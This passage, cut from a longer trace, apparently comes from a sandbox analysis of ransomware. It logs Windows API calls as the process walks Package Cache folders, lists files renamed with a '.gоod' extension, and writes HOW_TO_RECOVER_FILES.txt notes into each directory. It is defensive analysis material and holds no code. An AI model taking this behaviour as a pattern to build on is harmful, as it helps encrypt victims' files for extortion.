hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b2a82ec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.291] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b2a82ec, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2b2a82ec, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b2abd63, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.291] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0143.291] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0143.291] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0143.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0143.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0143.292] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpFilePart=0x0) returned 0x52 [0143.292] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2b2a82ec, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b2a82ec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.292] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2b2a82ec, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b2a82ec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.292] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b2a82ec, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2b2a82ec, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b2abd63, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.292] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0143.292] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.292] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0143.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0143.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0143.293] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0143.293] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b2a0dd4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.293] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b2a0dd4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.293] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b2a0dd4, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2b2a0dd4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b2a6fb8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.293] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2b2936e2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b2936e2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0143.293] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2b2936e2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b2936e2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0143.294] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0143.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0143.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0143.294] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0143.294] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2b2a0dd4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b2a0dd4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.294] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2b2a0dd4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b2a0dd4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.294] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b2a0dd4, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2b2a0dd4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b2a6fb8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.294] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2b2936e2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b2936e2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0143.295] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.295] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0143.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0143.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0143.295] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x75 [0143.295] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2b2936e2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b29989a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.295] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2b2936e2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b29989a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.296] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69f0b00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xb69f0b00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x2acf325f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x588134, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0143.296] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b295ec0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2b295ec0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b29fa2d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.296] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x2b2921d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0143.296] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.296] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0143.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0143.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0143.296] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x75 [0143.296] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2b29989a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b29989a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.297] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2b29989a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b29989a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.297] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69f0b00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xb69f0b00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x2acf325f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x588134, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0143.297] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b295ec0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2b295ec0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2b29fa2d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.297] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x2b2921d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0143.297] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x2b2921d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 0 [0143.297] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0143.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0143.298] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8e [0143.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0143.298] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0143.299] GetFileType (hFile=0x644) returned 0x1 [0143.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0143.299] GetFileType (hFile=0x644) returned 0x1 [0143.299] WriteFile (in: hFile=0x644, lpBuffer=0x35e9100*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x35e9100*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0143.300] CloseHandle (hObject=0x644) returned 1 [0143.300] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0143.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0143.301] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0143.301] GetFileType (hFile=0x644) returned 0x1 [0143.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0143.302] GetFileType (hFile=0x644) returned 0x1 [0143.302] WriteFile (in: hFile=0x644, lpBuffer=0x35eca28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x35eca28*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0143.303] CloseHandle (hObject=0x644) returned 1 [0143.303] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6b [0143.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0143.303] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, 